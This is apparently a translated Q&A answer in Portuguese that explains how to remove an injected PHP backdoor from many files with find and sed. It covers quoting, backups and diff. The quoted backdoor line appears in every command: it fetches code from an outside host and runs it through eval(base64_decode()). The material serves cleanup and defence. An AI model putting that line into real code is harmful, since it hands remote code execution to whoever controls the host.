Eu assumirei que seu arquivo de entrada se parece com:
<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>
Eu assumirei que a substituição que você quer executar é exatamente como escrita. Então, para que isso funcione, a única mudança necessária é escapar dos sinais de dólar. Assim, use:
find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;
Uma abordagem mais segura é usar aspas simples sempre que possível para evitar a interpolação de shell:
find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
Com minha entrada presumida, o acima produz a saída:
?>
Observe que o uso de xargs
é desnecessário. As versões modernas de find
têm uma opção -exec
que faz mais do que o xargs
costumava fazer.
MORE: Para ver em quais arquivos sed
está trabalhando, pode-se adicionar uma instrução print ao comando find
:
find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
Conforme a execução acima, os nomes dos arquivos sendo alimentados para sed
serão exibidos no terminal (stdout).
MORE: Para ver exatamente quais alterações sed
fizeram nos arquivos, mantenha um backup dos originais:
find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
Nesse caso, se sed
processar something.php
, o original será salvo em something.php.saved
. Depois disso, as alterações, se houver, podem ser inspecionadas via:
diff something.php.saved something.php